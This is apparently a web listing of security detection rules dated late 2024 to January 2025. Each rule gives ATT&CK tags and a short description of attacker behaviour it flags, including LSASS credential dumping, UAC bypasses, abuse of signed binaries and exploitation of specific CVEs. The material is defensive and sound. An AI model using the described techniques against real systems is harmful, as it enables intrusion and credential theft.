Jan 22, 2025 · attack.credential-access attack.t1003.001 ·

Share on:

Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory

ManageEngine Endpoint Central Dctask64.EXE Potential Abuse

Jan 22, 2025 · attack.defense-evasion attack.t1055.001 ·

Share on:

Detects the execution of "dctask64.exe", a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution.

Renamed ZOHO Dctask64 Execution

Jan 22, 2025 · attack.defense-evasion attack.t1036 attack.t1055.001 attack.t1202 attack.t1218 ·

Share on:

Detects a renamed "dctask64.exe" execution, a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution.

Potentially Suspicious Volume Shadow Copy Vsstrace.dll Load

Jan 19, 2025 · attack.defense-evasion attack.impact attack.t1490 ·

Share on:

Detects the image load of VSS DLL by uncommon executables

Azure Login Bypassing Conditional Access Policies

Jan 19, 2025 · attack.defense-evasion attack.t1078 ·

Share on:

Detects a successful login to the Microsoft Intune Company Portal which could allow bypassing Conditional Access Policies and InTune device trust using a tool like TokenSmith.

Shell Execution via Rsync - Linux

Jan 19, 2025 · attack.execution attack.t1059 ·

Share on:

Detects the use of the "rsync" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

Suspicious Invocation of Shell via Rsync

Jan 19, 2025 · attack.execution attack.t1059 attack.t1203 ·

Share on:

Detects the execution of a shell as sub process of "rsync" without the expected command line flag "-e" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.

Exploit Framework User Agent

Jan 19, 2025 · attack.command-and-control attack.t1071.001 ·

Share on:

Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs

Potential CVE-2023-36874 Exploitation - Fake Wermgr.Exe Creation

Jan 15, 2025 · attack.execution cve.2023-36874 detection.emerging-threats ·

Share on:

Detects the creation of a file named "wermgr.exe" being created in an uncommon directory. This could be a sign of potential exploitation of CVE-2023-36874.

CVE-2024-49113 Exploitation Attempt - LDAP Nightmare

Jan 8, 2025 · attack.impact attack.t1499 cve.2024-49113 detection.emerging-threats ·

Share on:

Detects exploitation attempt of CVE-2024-49113 known as LDAP Nightmare, based on "Application Error" log where the faulting application is "lsass.exe" and the faulting module is "WLDAP32.dll".

Active Directory Certificate Services Denied Certificate Enrollment Request

Jan 6, 2025 · attack.credential-access attack.t1553.004 ·

Share on:

Detects denied requests by Active Directory Certificate Services. Example of these requests denial include issues with permissions on the certificate template or invalid signatures.

AWS Console GetSigninToken Potential Abuse

Jan 6, 2025 · attack.lateral-movement attack.t1021.007 attack.t1550.001 ·

Share on:

Detects potentially suspicious events involving "GetSigninToken". An adversary using the "aws_consoler" tool can leverage this console API to create temporary federated credential that help obfuscate which AWS credential is compromised (the original access key) and enables the adversary to pivot from the AWS CLI to console sessions without the need for MFA using the new access key issued in this request.

Bitbucket Audit Log Configuration Updated

Jan 6, 2025 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects changes to the bitbucket audit log configuration.

Bitbucket Full Data Export Triggered

Jan 6, 2025 · attack.collection attack.t1213.003 ·

Share on:

Detects when full data export is attempted.

Bitbucket Global Permission Changed

Jan 6, 2025 · attack.persistence attack.privilege-escalation attack.t1098 ·

Share on:

Detects global permissions change activity.

Bitbucket Global Secret Scanning Rule Deleted

Jan 6, 2025 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects Bitbucket global secret scanning rule deletion activity.

Bitbucket Global SSH Settings Changed

Jan 6, 2025 · attack.lateral-movement attack.defense-evasion attack.t1562.001 attack.t1021.004 ·

Share on:

Detects Bitbucket global SSH access configuration changes.

Bitbucket Project Secret Scanning Allowlist Added

Jan 6, 2025 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects when a secret scanning allowlist rule is added for projects.

Bitbucket Secret Scanning Exempt Repository Added

Jan 6, 2025 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects when a repository is exempted from secret scanning feature.

Bitbucket Secret Scanning Rule Deleted

Jan 6, 2025 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects when secret scanning rule is deleted for the project or repository.

Bitbucket Unauthorized Access To A Resource

Jan 6, 2025 · attack.resource-development attack.t1586 ·

Share on:

Detects unauthorized access attempts to a resource.

Bitbucket Unauthorized Full Data Export Triggered

Jan 6, 2025 · attack.collection attack.resource-development attack.t1213.003 attack.t1586 ·

Share on:

Detects when full data export is attempted an unauthorized user.

Bitbucket User Details Export Attempt Detected

Jan 6, 2025 · attack.collection attack.reconnaissance attack.discovery attack.t1213 attack.t1082 attack.t1591.004 ·

Share on:

Detects user data export activity.

Bitbucket User Login Failure

Jan 6, 2025 · attack.defense-evasion attack.credential-access attack.t1078.004 attack.t1110 ·

Share on:

Detects user authentication failure events. Please note that this rule can be noisy and it is recommended to use with correlation based on "author.name" field.

Bitbucket User Login Failure Via SSH

Jan 6, 2025 · attack.t1021.004 attack.t1110 ·

Share on:

Detects SSH user login access failures. Please note that this rule can be noisy and is recommended to use with correlation based on "author.name" field.

Bitbucket User Permissions Export Attempt

Jan 6, 2025 · attack.reconnaissance attack.t1213 attack.t1082 attack.t1591.004 ·

Share on:

Detects user permission data export attempt.

Console CodePage Lookup Via CHCP

Jan 6, 2025 · attack.discovery attack.t1614.001 ·

Share on:

Detects use of chcp to look up the system locale value as part of host discovery

Diskshadow Script Mode - Uncommon Script Extension Execution

Jan 6, 2025 · attack.defense-evasion attack.t1218 ·

Share on:

Detects execution of "Diskshadow.exe" in script mode to execute an script with a potentially uncommon extension. Initial baselining of the allowed extension list is required.

DNS Query Request To OneLaunch Update Service

Jan 6, 2025 · attack.collection attack.t1056 ·

Share on:

Detects DNS query requests to "update.onelaunch.com". This domain is associated with the OneLaunch adware application. When the OneLaunch application is installed it will attempt to get updates from this domain.

DPRK Threat Actor - C2 Communication DNS Indicators

Jan 6, 2025 · attack.command-and-control detection.emerging-threats ·

Share on:

Detects DNS queries for C2 domains used by DPRK Threat actors.

Enumerate All Information With Whoami.EXE

Jan 6, 2025 · attack.discovery attack.t1033 car.2016-03-001 ·

Share on:

Detects the execution of "whoami.exe" with the "/all" flag

Exploitation Indicator Of CVE-2022-42475

Jan 6, 2025 · attack.initial-access cve.2022-42475 detection.emerging-threats ·

Share on:

Detects exploitation indicators of CVE-2022-42475 a heap-based buffer overflow in sslvpnd.

File In Suspicious Location Encoded To Base64 Via Certutil.EXE

Jan 6, 2025 · attack.defense-evasion attack.t1027 ·

Share on:

Detects the execution of certutil with the "encode" flag to encode a file to base64 where the files are located in potentially suspicious locations

Github Push Protection Bypass Detected

Jan 6, 2025 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects when a user bypasses the push protection on a secret detected by secret scanning.

Github Push Protection Disabled

Jan 6, 2025 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects if the push protection feature is disabled for an organization, enterprise, repositories or custom pattern rules.

HackTool - Evil-WinRm Execution - PowerShell Module

Jan 6, 2025 · attack.lateral-movement ·

Share on:

Detects the execution of Evil-WinRM via PowerShell Module logs by leveraging the hardcoded strings inside the utility.

Insensitive Subfolder Search Via Findstr.EXE

Jan 6, 2025 · attack.defense-evasion attack.t1218 attack.t1564.004 attack.t1552.001 attack.t1105 ·

Share on:

Detects execution of findstr with the "s" and "i" flags for a "subfolder" and "insensitive" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands.

Interesting Service Enumeration Via Sc.EXE

Jan 6, 2025 · attack.t1003 ·

Share on:

Detects the enumeration and query of interesting and in some cases sensitive services on the system via "sc.exe". Attackers often try to enumerate the services currently running on a system in order to find different attack vectors.

No Suitable Encryption Key Found For Generating Kerberos Ticket

Jan 6, 2025 · attack.credential-access attack.t1558.003 ·

Share on:

Detects errors when a target server doesn't have suitable keys for generating kerberos tickets. This issue can occur for example when a service uses a user account or a computer account that is configured for only DES encryption on a computer that is running Windows 7 which has DES encryption for Kerberos authentication disabled.

Port Forwarding Activity Via SSH.EXE

Jan 6, 2025 · attack.command-and-control attack.lateral-movement attack.t1572 attack.t1021.001 attack.t1021.004 ·

Share on:

Detects port forwarding activity via SSH.exe

Potential Credential Dumping Activity Via LSASS

Jan 6, 2025 · attack.credential-access attack.t1003.001 attack.s0002 ·

Share on:

Detects process access requests to the LSASS process with specific call trace calls and access masks. This behaviour is expressed by many credential dumping tools such as Mimikatz, NanoDump, Invoke-Mimikatz, Procdump and even the Taskmgr dumping feature.

Potential SentinelOne Shell Context Menu Scan Command Tampering

Jan 6, 2025 · attack.persistence ·

Share on:

Detects potentially suspicious changes to the SentinelOne context menu scan command by a process other than SentinelOne.

Potentially Suspicious Ping/Copy Command Combination

Jan 6, 2025 · attack.defense-evasion attack.t1070.004 ·

Share on:

Detects uncommon and potentially suspicious one-liner command containing both "ping" and "copy" at the same time, which is usually used by malware.

Qakbot Regsvr32 Calc Pattern

Jan 6, 2025 · attack.defense-evasion attack.execution detection.emerging-threats ·

Share on:

Detects a specific command line of "regsvr32" where the "calc" keyword is used in conjunction with the "/s" flag. This behavior is often seen used by Qakbot

Rebuild Performance Counter Values Via Lodctr.EXE

Jan 6, 2025 · attack.execution ·

Share on:

Detects the execution of "lodctr.exe" to rebuild the performance counter registry values. This can be abused by attackers by providing a malicious config file to overwrite performance counter configuration to confuse and evade monitoring and security solutions.

Remote Access Tool - AnyDesk Execution With Known Revoked Signing Certificate

Jan 6, 2025 · attack.execution attack.initial-access ·

Share on:

Detects the execution of an AnyDesk binary with a version prior to 8.0.8. Prior to version 8.0.8, the Anydesk application used a signing certificate that got compromised by threat actors. Use this rule to detect instances of older versions of Anydesk using the compromised certificate This is recommended in order to avoid attackers leveraging the certificate and signing their binaries to bypass detections.

Remote Access Tool - ScreenConnect Remote Command Execution

Jan 6, 2025 · attack.execution attack.t1059.003 ·

Share on:

Detects the execution of a system command via the ScreenConnect RMM service.

Remote Access Tool - ScreenConnect Server Web Shell Execution

Jan 6, 2025 · attack.initial-access attack.t1190 ·

Share on:

Detects potential web shell execution from the ScreenConnect server process.

Remote Access Tool - Simple Help Execution

Jan 6, 2025 · attack.command-and-control attack.t1219 ·

Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Remote File Download Via Findstr.EXE

Jan 6, 2025 · attack.defense-evasion attack.t1218 attack.t1564.004 attack.t1552.001 attack.t1105 ·

Share on:

Detects execution of "findstr" with specific flags and a remote share path. This specific set of CLI flags would allow "findstr" to download the content of the file located on the remote share as described in the LOLBAS entry.

Response File Execution Via Odbcconf.EXE

Jan 6, 2025 · attack.defense-evasion attack.t1218.008 ·

Share on:

Detects execution of "odbcconf" with the "-f" flag in order to load a response file which might contain a malicious action.

Suspicious File Download From IP Via Wget.EXE - Paths

Jan 6, 2025 · attack.execution ·

Share on:

Detects potentially suspicious file downloads directly from IP addresses and stored in suspicious locations using Wget.exe

Suspicious File Encoded To Base64 Via Certutil.EXE

Jan 6, 2025 · attack.defense-evasion attack.t1027 ·

Share on:

Detects the execution of certutil with the "encode" flag to encode a file to base64 where the extensions of the file is suspicious

Suspicious Invoke-WebRequest Execution

Jan 6, 2025 · attack.command-and-control attack.t1105 ·

Share on:

Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location

Unsigned DLL Loaded by Windows Utility

Jan 6, 2025 · attack.t1218.011 attack.t1218.010 attack.defense-evasion ·

Share on:

Detects windows utilities loading an unsigned or untrusted DLL. Adversaries often abuse those programs to proxy execution of malicious code.

Suspicious Non PowerShell WSMAN COM Provider

Dec 28, 2024 · attack.execution attack.t1059.001 attack.lateral-movement attack.t1021.003 ·

Share on:

Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.

BITS Transfer Job With Uncommon Or Suspicious Remote TLD

Dec 27, 2024 · attack.defense-evasion attack.persistence attack.t1197 ·

Share on:

Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.

CodeIntegrity - Unmet Signing Level Requirements By File Under Validation

Dec 27, 2024 · attack.execution ·

Share on:

Detects attempted file load events that did not meet the signing level requirements. It often means the file's signature is revoked or a signature with the Lifetime Signing EKU has expired. This event is best correlated with EID 3089 to determine the error of the validation.

Relevant Anti-Virus Signature Keywords In Application Log

Dec 27, 2024 · attack.resource-development attack.t1588 ·

Share on:

Detects potentially highly relevant antivirus events in the application log based on known virus signature names and malware keywords.

Uncommon AppX Package Locations

Dec 27, 2024 · attack.defense-evasion ·

Share on:

Detects an appx package added the pipeline of the "to be processed" packages which is located in uncommon locations

Suspicious Windows Service Tampering

Dec 27, 2024 · attack.defense-evasion attack.t1489 attack.t1562.001 ·

Share on:

Detects the usage of binaries such as 'net', 'sc' or 'powershell' in order to stop, pause, disable or delete critical or important Windows services such as AV, Backup, etc. As seen being used in some ransomware scripts

DNS Query To Remote Access Software Domain From Non-Browser App

Dec 19, 2024 · attack.command-and-control attack.t1219 ·

Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

New AWS Lambda Function URL Configuration Created

Dec 19, 2024 · attack.initial-access attack.privilege-escalation ·

Share on:

Detects when a user creates a Lambda function URL configuration, which could be used to expose the function to the internet and potentially allow unauthorized access to the function's IAM role for AWS API calls. This could give an adversary access to the privileges associated with the Lambda service role that is attached to that function.

AWS SAML Provider Deletion Activity

Dec 19, 2024 · attack.t1078.004 attack.privilege-escalation attack.t1531 ·

Share on:

Detects the deletion of an AWS SAML provider, potentially indicating malicious intent to disrupt administrative or security team access. An attacker can remove the SAML provider for the information security team or a team of system administrators, to make it difficult for them to work and investigate at the time of the attack and after it.

Register new Logon Process by Rubeus

Dec 19, 2024 · attack.lateral-movement attack.privilege-escalation attack.credential-access attack.t1558.003 ·

Share on:

Detects potential use of Rubeus via registered new trusted logon process

AWS Key Pair Import Activity

Dec 19, 2024 · attack.initial-access attack.t1078 attack.persistence attack.privilege-escalation ·

Share on:

Detects the import of SSH key pairs into AWS EC2, which may indicate an attacker attempting to gain unauthorized access to instances. This activity could lead to initial access, persistence, or privilege escalation, potentially compromising sensitive data and operations.

DNS Query Request By QuickAssist.EXE

Dec 19, 2024 · attack.initial-access attack.t1071.001 attack.t1210 ·

Share on:

Detects DNS queries initiated by "QuickAssist.exe" to Microsoft Quick Assist primary endpoint that is used to establish a session.

QuickAssist Execution

Dec 19, 2024 · attack.command-and-control attack.t1219 ·

Share on:

Detects the execution of Microsoft Quick Assist tool "QuickAssist.exe". This utility can be used by attackers to gain remote access.

Webshell Detection With Command Line Keywords

Dec 14, 2024 · attack.persistence attack.t1505.003 attack.t1018 attack.t1033 attack.t1087 ·

Share on:

Detects certain command line parameters often used during reconnaissance activity via web shells

Potential Secure Deletion with SDelete

Dec 14, 2024 · attack.impact attack.defense-evasion attack.t1070.004 attack.t1027.005 attack.t1485 attack.t1553.002 attack.s0195 ·

Share on:

Detects files that have extensions commonly seen while SDelete is used to wipe files.

COM Object Hijacking Via Modification Of Default System CLSID Default Value

Dec 14, 2024 · attack.persistence attack.t1546.015 ·

Share on:

Detects potential COM object hijacking via modification of default system CLSID.

Local System Accounts Discovery - Linux

Dec 14, 2024 · attack.discovery attack.t1087.001 ·

Share on:

Detects enumeration of local systeam accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

Remote Access Tool Services Have Been Installed - Security

Dec 7, 2024 · attack.persistence attack.t1543.003 attack.t1569.002 ·

Share on:

Detects service installation of different remote access tools software. These software are often abused by threat actors to perform

Modification or Deletion of an AWS RDS Cluster

Dec 6, 2024 · attack.exfiltration attack.t1020 ·

Share on:

Detects modifications to an RDS cluster or its deletion, which may indicate potential data exfiltration attempts, unauthorized access, or exposure of sensitive information.

NetNTLM Downgrade Attack - Registry

Dec 3, 2024 · attack.defense-evasion attack.t1562.001 attack.t1112 ·

Share on:

Detects NetNTLM downgrade attack

Potential Defense Evasion Via Rename Of Highly Relevant Binaries

Dec 3, 2024 · attack.defense-evasion attack.t1036.003 car.2013-05-009 ·

Share on:

Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.

Always Install Elevated Windows Installer

Dec 1, 2024 · attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege

CMSTP UAC Bypass via COM Object Access

Dec 1, 2024 · attack.execution attack.defense-evasion attack.privilege-escalation attack.t1548.002 attack.t1218.003 attack.g0069 car.2019-04-001 ·

Share on:

Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)

Exploiting CVE-2019-1388

Dec 1, 2024 · attack.privilege-escalation attack.t1068 cve.2019-1388 detection.emerging-threats ·

Share on:

Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM

Msiexec Quiet Installation

Dec 1, 2024 · attack.defense-evasion attack.t1218.007 ·

Share on:

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)

Non-privileged Usage of Reg or Powershell

Dec 1, 2024 · attack.defense-evasion attack.t1112 ·

Share on:

Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry

Permission Check Via Accesschk.EXE

Dec 1, 2024 · attack.discovery attack.t1069.001 ·

Share on:

Detects the usage of the "Accesschk" utility, an access and privilege audit tool developed by SysInternal and often being abused by attacker to verify process privileges

Possible Privilege Escalation via Weak Service Permissions

Dec 1, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1574.011 ·

Share on:

Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand

Potential CVE-2021-41379 Exploitation Attempt

Dec 1, 2024 · attack.privilege-escalation attack.t1068 cve.2021-41379 detection.emerging-threats ·

Share on:

Detects potential exploitation attempts of CVE-2021-41379 (InstallerFileTakeOver), a local privilege escalation (LPE) vulnerability where the attacker spawns a "cmd.exe" process as a child of Microsoft Edge elevation service "elevation_service" with "LOCAL_SYSTEM" rights

Potential Privilege Escalation via Service Permissions Weakness

Dec 1, 2024 · attack.privilege-escalation attack.t1574.011 ·

Share on:

Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level

Potential RDP Session Hijacking Activity

Dec 1, 2024 · attack.execution ·

Share on:

Detects potential RDP Session Hijacking activity on Windows systems

Potential UAC Bypass Via Sdclt.EXE

Dec 1, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 ·

Share on:

A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.

Suspicious Child Process Created as System

Dec 1, 2024 · attack.privilege-escalation attack.t1134.002 ·

Share on:

Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts

Suspicious High IntegrityLevel Conhost Legacy Option

Dec 1, 2024 · attack.defense-evasion attack.t1202 ·

Share on:

ForceV1 asks for information directly from the kernel space. Conhost connects to the console application. High IntegrityLevel means the process is running with elevated privileges, such as an Administrator context.

Suspicious Process By Web Server Process

Dec 1, 2024 · attack.persistence attack.t1505.003 attack.t1190 ·

Share on:

Detects potentially suspicious processes being spawned by a web server process which could be the result of a successfully placed web shell or exploitation

Suspicious RazerInstaller Explorer Subprocess

Dec 1, 2024 · attack.privilege-escalation attack.t1553 detection.emerging-threats ·

Share on:

Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM

Suspicious Scheduled Task Creation via Masqueraded XML File

Dec 1, 2024 · attack.defense-evasion attack.persistence attack.t1036.005 attack.t1053.005 ·

Share on:

Detects the creation of a scheduled task using the "-XML" flag with a file without the '.xml' extension. This behavior could be indicative of potential defense evasion attempt during persistence

Suspicious SYSTEM User Process Creation

Dec 1, 2024 · attack.credential-access attack.defense-evasion attack.privilege-escalation attack.t1134 attack.t1003 attack.t1027 ·

Share on:

Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)

UAC Bypass Abusing Winsat Path Parsing - Process

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)

UAC Bypass Tools Using ComputerDefaults

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)

UAC Bypass Using ChangePK and SLUI

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)

UAC Bypass Using Consent and Comctl32 - Process

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)

UAC Bypass Using Disk Cleanup

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)

UAC Bypass Using DismHost

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)

UAC Bypass Using IDiagnostic Profile

Dec 1, 2024 · attack.execution attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects the "IDiagnosticProfileUAC" UAC bypass technique

UAC Bypass Using IEInstal - Process

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)

UAC Bypass Using MSConfig Token Modification - Process

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)

UAC Bypass Using NTFS Reparse Point - Process

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)

UAC Bypass Using PkgMgr and DISM

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)

UAC Bypass Using Windows Media Player - Process

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)

UAC Bypass WSReset

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·

Share on:

Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config

Setup16.EXE Execution With Custom .Lst File

Dec 1, 2024 · attack.defense-evasion attack.t1574.005 ·

Share on:

Detects the execution of "Setup16.EXE" and old installation utility with a custom ".lst" file. These ".lst" file can contain references to external program that "Setup16.EXE" will execute. Attackers and adversaries might leverage this as a living of the land utility.

Suspicious ShellExec_RunDLL Call Via Ordinal

Dec 1, 2024 · attack.defense-evasion attack.t1218.011 ·

Share on:

Detects suspicious call to the "ShellExec_RunDLL" exported function of SHELL32.DLL through the ordinal number to launch other commands. Adversary might only use the ordinal number in order to bypass existing detection that alert on usage of ShellExec_RunDLL on CommandLine.

Suspicious Usage Of ShellExec_RunDLL

Dec 1, 2024 · attack.defense-evasion ·

Share on:

Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack

Password Policy Discovery - Linux

Dec 1, 2024 · attack.discovery attack.t1201 ·

Share on:

Detects password policy discovery commands

File and Directory Discovery - Linux

Dec 1, 2024 · attack.discovery attack.t1083 ·

Share on:

Detects usage of system utilities such as "find", "tree", "findmnt", etc, to discover files, directories and network shares.

System Owner or User Discovery - Linux

Dec 1, 2024 · attack.discovery attack.t1033 ·

Share on:

Detects the execution of host or user discovery utilities such as "whoami", "hostname", "id", etc. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

All Rules Have Been Deleted From The Windows Firewall Configuration

Dec 1, 2024 · attack.defense-evasion attack.t1562.004 ·

Share on:

Detects when a all the rules have been deleted from the Windows Defender Firewall configuration

CodePage Modification Via MODE.COM To Russian Language

Dec 1, 2024 · attack.defense-evasion attack.t1036 ·

Share on:

Detects a CodePage modification using the "mode.com" utility to Russian language. This behavior has been used by threat actors behind Dharma ransomware.

CVE-2023-38331 Exploitation Attempt - Suspicious WinRAR Child Process

Dec 1, 2024 · detection.emerging-threats attack.execution attack.t1203 cve.2023-38331 ·

Share on:

Detects exploitation attempt of CVE-2023-38331 (WinRAR before v6.23), where an attacker can leverage WinRAR to execute arbitrary commands and binaries.

GCP Access Policy Deleted

Dec 1, 2024 · attack.persistence attack.privilege-escalation attack.t1098 ·

Share on:

Detects when an access policy that is applied to a GCP cloud resource is deleted. An adversary would be able to remove access policies to gain access to a GCP cloud resource.

GCP Break-glass Container Workload Deployed

Dec 1, 2024 · attack.defense-evasion attack.t1548 ·

Share on:

Detects the deployment of workloads that are deployed by using the break-glass flag to override Binary Authorization controls.

Google Workspace Application Access Level Modified

Dec 1, 2024 · attack.persistence attack.privilege-escalation attack.t1098.003 ·

Share on:

Detects when an access level is changed for a Google workspace application. An access level is part of BeyondCorp Enterprise which is Google Workspace's way of enforcing Zero Trust model. An adversary would be able to remove access levels to gain easier access to Google workspace resources.

HackTool - EDRSilencer Execution - Filter Added

Dec 1, 2024 · attack.defense-evasion attack.t1562 ·

Share on:

Detects execution of EDRSilencer, a tool that abuses the Windows Filtering Platform (WFP) to block the outbound traffic of running EDR agents based on specific hardcoded filter names.

HackTool - SharpMove Tool Execution

Dec 1, 2024 · attack.lateral-movement attack.t1021.002 ·

Share on:

Detects the execution of SharpMove, a .NET utility performing multiple tasks such as "Task Creation", "SCM" query, VBScript execution using WMI via its PE metadata and command line options.

HackTool - SOAPHound Execution

Dec 1, 2024 · attack.discovery attack.t1087 ·

Share on:

Detects the execution of SOAPHound, a .NET tool for collecting Active Directory data, using specific command-line arguments that may indicate an attempt to extract sensitive AD information.

Peach Sandstorm APT Process Activity Indicators

Dec 1, 2024 · attack.execution detection.emerging-threats ·

Share on:

Detects process creation activity related to Peach Sandstorm APT

Potential Dropper Script Execution Via WScript/CScript

Dec 1, 2024 · attack.execution attack.t1059.005 attack.t1059.007 ·

Share on:

Detects wscript/cscript executions of scripts located in user directories

Potential Peach Sandstorm APT C2 Communication Activity

Dec 1, 2024 · attack.command-and-control detection.emerging-threats ·

Share on:

Detects potential C2 communication activity related to Peach Sandstorm APT

Potential Persistence Via MyComputer Registry Keys

Dec 1, 2024 · attack.persistence ·

Share on:

Detects modification to the "Default" value of the "MyComputer" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)

Potential Pikabot C2 Activity

Dec 1, 2024 · attack.command-and-control attack.t1573 detection.emerging-threats ·

Share on:

Detects the execution of rundll32 that leads to an external network connection. The malware Pikabot has been seen to use this technique to initiate C2-communication through hard-coded Windows binaries.

Potential Pikabot Discovery Activity

Dec 1, 2024 · attack.discovery attack.t1016 attack.t1049 attack.t1087 detection.emerging-threats ·

Share on:

Detects system discovery activity carried out by Pikabot, such as incl. network, user info and domain groups. The malware Pikabot has been seen to use this technique as part of its C2-botnet registration with a short collection time frame (less than 1 minute).

Potential Pikabot Hollowing Activity

Dec 1, 2024 · attack.defense-evasion attack.t1055.012 detection.emerging-threats ·

Share on:

Detects the execution of rundll32 that leads to the invocation of legitimate Windows binaries. The malware Pikabot has been seen to use this technique for process hollowing through hard-coded Windows binaries

Potentially Suspicious Self Extraction Directive File Created

Dec 1, 2024 · attack.defense-evasion attack.t1218 ·

Share on:

Detects the creation of a binary file with the ".sed" extension. The ".sed" extension stand for Self Extraction Directive files. These files are used by the "iexpress.exe" utility in order to create self extracting packages. Attackers were seen abusing this utility and creating PE files with embedded ".sed" entries. Usually ".sed" files are simple ini files and not PE binaries.

PowerShell Core DLL Loaded By Non PowerShell Process

Dec 1, 2024 · attack.t1059.001 attack.execution ·

Share on:

Detects loading of essential DLLs used by PowerShell by non-PowerShell process. Detects behavior similar to meterpreter's "load powershell" extension.

PUA - PingCastle Execution

Dec 1, 2024 · attack.reconnaissance attack.t1595 ·

Share on:

Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level.

PUA - PingCastle Execution From Potentially Suspicious Parent

Dec 1, 2024 · attack.reconnaissance attack.t1595 ·

Share on:

Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level via a script located in a potentially suspicious or uncommon location.

Remote CHM File Download/Execution Via HH.EXE

Dec 1, 2024 · attack.defense-evasion attack.t1218.001 ·

Share on:

Detects the usage of "hh.exe" to execute/download remotely hosted ".chm" files.

Remote Thread Creation In Mstsc.Exe From Suspicious Location

Dec 1, 2024 · attack.credential-access ·

Share on:

